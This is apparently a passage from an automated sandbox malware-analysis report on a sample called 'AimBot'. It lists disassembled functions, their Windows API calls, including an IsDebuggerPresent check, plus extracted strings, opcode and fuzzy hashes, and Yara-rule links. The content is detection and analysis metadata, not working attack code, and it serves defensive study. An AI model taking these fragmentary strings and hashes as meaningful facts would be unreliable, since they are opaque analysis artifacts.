GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 006CC906

Strings

\lm, xrefs: 006CC7A0

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: \lm
API String ID: 415426439-1621899144
Opcode ID: 33edd7e267c911c84a051a508dd51bb1f35df880b248f017a262095ee60d2d9e
Instruction ID: e81ad3a653fc12002b9c71ec615744d0b98f6da8b6976d877cae4621a2d1acb9
Opcode Fuzzy Hash: 33edd7e267c911c84a051a508dd51bb1f35df880b248f017a262095ee60d2d9e
Instruction Fuzzy Hash: 3A517E71A01205ABEB10DBA5CC45FBB77BAEF14710F04442EE919E7290EB7099408BA5

Function 006CD0ED Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 006CD2D1

Strings

1#QNAN, xrefs: 006CD200
1#INF, xrefs: 006CD223
1#IND, xrefs: 006CD1F2
1#SNAN, xrefs: 006CD1F9

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 82da7b2e42c64879eca894c711f5aea5a862e10ff52d0e562e390bc1823dfc41
Instruction ID: c0d58d62f5b58970260ab491c9a6dd35251428bc50b38cab51dd68f5d80f4402
Opcode Fuzzy Hash: 82da7b2e42c64879eca894c711f5aea5a862e10ff52d0e562e390bc1823dfc41
Instruction Fuzzy Hash: 2AD21871E092288FDB65CE28DD40BEAB7B6EB44305F1445EED40DE7240E779AE858F81

Function 006DD1D7 Relevance: 9.6, Strings: 7, Instructions: 875COMMON

Download Yara Rule

Strings

0, xrefs: 006DE460
0, xrefs: 006DE0B1
u, xrefs: 006DD508
0, xrefs: 006DE21C
, xrefs: 006DE873
i, xrefs: 006DE8E5
0, xrefs: 006DE1A7

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: $0$0$0$0$i$u
API String ID: 0-3057803039
Opcode ID: 8259c03002be8646273e3ef2da353767c59461885359918431f9bc1ab5e07674
Instruction ID: 197bc3506b09273c2c68dacd312e3337b0b161b848df57f47004a5e10d2de4c8
Opcode Fuzzy Hash: 8259c03002be8646273e3ef2da353767c59461885359918431f9bc1ab5e07674
Instruction Fuzzy Hash: 2162D371E083418FD314DE28C49076ABBE3ABD5354F188A2EE4D99B391D776D906CB82

Function 006EBBD0 Relevance: 9.1, Strings: 7, Instructions: 387COMMON

Download Yara Rule

Strings

/1qa, xrefs: 006EBF0D
blav, xrefs: 006EBF53, 006EBF5B
lS, xrefs: 006EBD7C
nxvj, xrefs: 006EBF1D
]ik, xrefs: 006EBCF7
jqrs, xrefs: 006EBD27
ez49, xrefs: 006EBF15

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: /1qa$]ik$blav$ez49$jqrs$lS$nxvj
API String ID: 0-1229296398
Opcode ID: e26c10fdff553f59024bf5ac3ec8bf94d265e046c4a537046be7684e10449029
Instruction ID: f8e94593d42146bf9c8a13eb2491a3dfe56080fdbc8f1794f12c3880154a2989
Opcode Fuzzy Hash: e26c10fdff553f59024bf5ac3ec8bf94d265e046c4a537046be7684e10449029
Instruction Fuzzy Hash: A3D1667050D3C18BD311DF2AC494AAFBBE2AF96744F28085CE4D19B352C336D94ACB96

Function 006CBDD7 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006C4C01: GetLastError.KERNEL32(?,00000008,006C91D2), ref: 006C4C05
Part of subcall function 006C4C01: SetLastError.KERNEL32(00000000,006DB440,00000024,006C0169), ref: 006C4CA7

GetACP.KERNEL32(?,?,?,?,?,?,006C1598,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 006CBE98
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,006C1598,?,?,?,00000055,?,-00000050,?,?), ref: 006CBEC3
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 006CC026

Strings

utf8, xrefs: 006CBF95
\lm, xrefs: 006CBE19

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: \lm$utf8
API String ID: 607553120-3207229100
Opcode ID: 9fad96a64a0758c39a5571e2612e855357edea2abca43906a64eb33be9828593
Instruction ID: ba11a7bc23934b2f080432c0e41d965280eefca9042b20f75fd54b78357cdfbb
Opcode Fuzzy Hash: 9fad96a64a0758c39a5571e2612e855357edea2abca43906a64eb33be9828593
Instruction Fuzzy Hash: BE710471A00206AAD724AB75CC47FF6B3ABEF48740F14542EFA15D7281EB75ED408B64

Function 006CC566 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,006CC884,00000002,00000000,?,?,?,006CC884,?,00000000), ref: 006CC5FF
GetLocaleInfoW.KERNEL32(?,20001004,006CC884,00000002,00000000,?,?,?,006CC884,?,00000000), ref: 006CC628
GetACP.KERNEL32(?,?,006CC884,?,00000000), ref: 006CC63D

Strings

OCP, xrefs: 006CC5BA
ACP, xrefs: 006CC584

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 0a39be7708652a8c96750186008d687005321e6d16c23548e5c69ac7e3fee41f
Instruction ID: 78ab35067e05d194532e1a1c2d78d6cca7143bc1172ce5a8489c4704615b4cb5
Opcode Fuzzy Hash: 0a39be7708652a8c96750186008d687005321e6d16c23548e5c69ac7e3fee41f
Instruction Fuzzy Hash: F2215C22A00101AADB34CB29CA11FF7B7A7EB54B74B96842DE90ED7350E732EE41D350

Function 006FC9F7 Relevance: 6.7, Strings: 5, Instructions: 472COMMON

Download Yara Rule

Strings

QA, xrefs: 006FCBBB
~{, xrefs: 006FCBB0
m[Z1, xrefs: 006FCA47, 006FCA56
}s, xrefs: 006FCBA5
Sz, xrefs: 006FCB9A

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: QA$Sz$m[Z1$}s$~{
API String ID: 0-3871688270
Opcode ID: bf3e106bcfed2a3675eb19712154cebd339c3bdcecb445bf3f93da0019595542
Instruction ID: 7cf3706f404e507832060147105ee63e7f478f035d4d7fe830ea56cd28633e2b
Opcode Fuzzy Hash: bf3e106bcfed2a3675eb19712154cebd339c3bdcecb445bf3f93da0019595542
Instruction Fuzzy Hash: 6E0236B55083848BE770CF14C488BAFBBE3BFC5704F14892CE6C98B252D735A8958B52

Function 006DD313 Relevance: 6.7, Strings: 5, Instructions: 413COMMON

Download Yara Rule

Strings

-, xrefs: 006DDE1E
gfff, xrefs: 006DDF1F
A, xrefs: 006DD31B
gfff, xrefs: 006DDE70
gfff, xrefs: 006DDED9

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: -$A$gfff$gfff$gfff
API String ID: 0-966635023
Opcode ID: ca935b2ccb6cccad76db52339cec1feea4e1b8d4edbd7864cb6be7badf0693cc
Instruction ID: 259898074c50b33210fc19d2be6e962bb6629df375925e963ff333e6f3fcd044
Opcode Fuzzy Hash: ca935b2ccb6cccad76db52339cec1feea4e1b8d4edbd7864cb6be7badf0693cc
Instruction Fuzzy Hash: 09F1C171A097518FD314DE29C49035AFBE3ABD9310F088A2EF4D58B391D775D946CB82

Function 006C39E2 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 006C3A6F

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 9a92425b85d41a9d34d0b4961e78f920fefde47b9ac17fa4fdf8223bb6267088
Instruction ID: 0f5a2bb9111b191245a21bf70e53a285b22e4a7002f6afca578eaa0d55d9d256
Opcode Fuzzy Hash: 9a92425b85d41a9d34d0b4961e78f920fefde47b9ac17fa4fdf8223bb6267088
Instruction Fuzzy Hash: 18B126729042A59FDB158F68C881FFEBBA6EF59340F14C16EE845AB341D235DE01CBA0

Function 006B7672 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 006B767E
IsDebuggerPresent.KERNEL32 ref: 006B774A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 006B7763
UnhandledExceptionFilter.KERNEL32(?), ref: 006B776D

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: a74c392e9518ca0701bb715175cc87d1ba0fc0d24e192523b72f07e46da15274
Instruction ID: d781b8ea58b157277102d28f2deeb41c6679cb90f95164743e27648e4cfd6839
Opcode Fuzzy Hash: a74c392e9518ca0701bb715175cc87d1ba0fc0d24e192523b72f07e46da15274
Instruction Fuzzy Hash: D431F5B5D052199BDF21DFA5D989BCDBBB8BF58300F1041EAE40CAB250EB709A85CF45

Function 006DD28F Relevance: 5.3, Strings: 4, Instructions: 333COMMON

Download Yara Rule

Strings

-, xrefs: 006DDCAC
gfff, xrefs: 006DDCC4
E, xrefs: 006DD294
gfff, xrefs: 006DDCE3

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: -$E$gfff$gfff
API String ID: 0-1349104352
Opcode ID: e36c2fc9e126f4a5132d71eaa3f64d04ccffc877ff86f68bf12ff7523dc5677d
Instruction ID: 601bdea0dc666ad2f89f68118a51bca7c97a3cb53c44dc0d858dd1a393a4d2fc
Opcode Fuzzy Hash: e36c2fc9e126f4a5132d71eaa3f64d04ccffc877ff86f68bf12ff7523dc5677d
Instruction Fuzzy Hash: 00C1DF71A083918FC714DE28C48026BFBE3AFD9314F098A6FE4D98B356D635D945CB82

Function 0071128F Relevance: 5.3, Strings: 4, Instructions: 268COMMON

Download Yara Rule

Strings

z\B$, xrefs: 00711540
87#&, xrefs: 0071138C
40,G, xrefs: 0071154A
DB, xrefs: 0071161F

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: 40,G$87#&$DB$z\B$
API String ID: 0-1474221143
Opcode ID: f0d7e2f3f40a8927da924739a63af61b15134ac2a79853f9742760bdf02cc80a
Instruction ID: db780603541b4c3664bf15f327563a34c050588685235a8b53f17b512fd078a6
Opcode Fuzzy Hash: f0d7e2f3f40a8927da924739a63af61b15134ac2a79853f9742760bdf02cc80a
Instruction Fuzzy Hash: A5A16070504B808AE7A1CF398454BE7BBE1BF02754F94885DD5EF8B282DB39A489CB11

Function 007112F8 Relevance: 5.3, Strings: 4, Instructions: 266COMMON

Download Yara Rule

Strings

z\B$, xrefs: 00711540
87#&, xrefs: 0071138C
40,G, xrefs: 0071154A
DB, xrefs: 0071161F

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: 40,G$87#&$DB$z\B$
API String ID: 0-1474221143
Opcode ID: 361e4e51d9e9946be2c4f63b95622b5af03e472253eaf1d443eccf8132e305ae
Instruction ID: 20a613b13b9dca10d05553f35bdb4285a86716a9043dda36fc59c6638e28e2a4
Opcode Fuzzy Hash: 361e4e51d9e9946be2c4f63b95622b5af03e472253eaf1d443eccf8132e305ae
Instruction Fuzzy Hash: 79A16170504B808AE7A18F398454BE7BBE1BF02754F94885DD5EF8B282DB39A489CB11

Function 00711340 Relevance: 5.3, Strings: 4, Instructions: 263COMMON

Download Yara Rule

Strings

z\B$, xrefs: 00711540
87#&, xrefs: 0071138C
40,G, xrefs: 0071154A
DB, xrefs: 0071161F

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: 40,G$87#&$DB$z\B$
API String ID: 0-1474221143
Opcode ID: 051a7e453b7b67b4ae4da37fce48adbee09529c63789ff9fc2e24460b502674d
Instruction ID: 5217c5a94fbc3bf2c89d9aa56ba93007eeb7bea96cdedb485131b320e74b8917
Opcode Fuzzy Hash: 051a7e453b7b67b4ae4da37fce48adbee09529c63789ff9fc2e24460b502674d
Instruction Fuzzy Hash: 49A17270504B808AE7A18F398454BE3BBE1BF02744F94885DD5EF8B282DB39A489CB11

Function 00711334 Relevance: 5.2, Strings: 4, Instructions: 237COMMON

Download Yara Rule

Strings

z\B$, xrefs: 00711540
87#&, xrefs: 0071138C
40,G, xrefs: 0071154A
DB, xrefs: 0071161F

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: 40,G$87#&$DB$z\B$
API String ID: 0-1474221143
Opcode ID: 39f7d61c42000bc5b247f0483253401f535ff4265f40f8e1022dda2680213897
Instruction ID: 759c3fb747d5cb2632ea4c1845e68bdc17f2ef090cb1887e0cf023afe487a0e0
Opcode Fuzzy Hash: 39f7d61c42000bc5b247f0483253401f535ff4265f40f8e1022dda2680213897
Instruction Fuzzy Hash: 5A914170404B808AE7A1CF398454BE3FBE5BF12744F94885DD5EF8B282DB39A489CB51

Function 0070F490 Relevance: 5.2, Strings: 4, Instructions: 217COMMON

Download Yara Rule

Strings

:2/?, xrefs: 0070F643
J$R0, xrefs: 0070F534
5, xrefs: 0070F5CB
*Ab, xrefs: 0070F55C

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: *Ab$:2/?$J$R0$5
API String ID: 0-1619406361
Opcode ID: 3436a6b21cb9f28c878ddeee38c6db143123e426cc714587bde1c9c41a33f5d3
Instruction ID: dc3557254e85eea4bbc63a03b1ea32dbbcac9e69ed5b86f032476dfa0c61d69e
Opcode Fuzzy Hash: 3436a6b21cb9f28c878ddeee38c6db143123e426cc714587bde1c9c41a33f5d3
Instruction Fuzzy Hash: DB8187B4004B818AD3B18F39C854BE3BBE0AF16705F54496DD4EE9B282DB39A485CF51

Function 00703080 Relevance: 5.1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

Strings

T1Y3, xrefs: 007030F3, 007030FB
@A, xrefs: 007030D5
(E$G, xrefs: 007030CD
Q=G?, xrefs: 007030BD

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: (E$G$@A$Q=G?$T1Y3
API String ID: 0-4012746340
Opcode ID: 3c86c941529c369bd4c4b65eed1470e395209338952c019cca664907839c4a1e
Instruction ID: 4ea304b34331d428cfe7723a2609b9a7bcb7262a3e1a526370d189a14bc80338
Opcode Fuzzy Hash: 3c86c941529c369bd4c4b65eed1470e395209338952c019cca664907839c4a1e
Instruction Fuzzy Hash: 2C21C4B0509344DBC710AF28C84196BB7F9EF9A755F058A1CE4D58B391E338CE00CBA2

Function 006CC1EA Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 006C4C01: GetLastError.KERNEL32(?,00000008,006C91D2), ref: 006C4C05
Part of subcall function 006C4C01: SetLastError.KERNEL32(00000000,006DB440,00000024,006C0169), ref: 006C4CA7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006CC23E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006CC288
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006CC34E

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

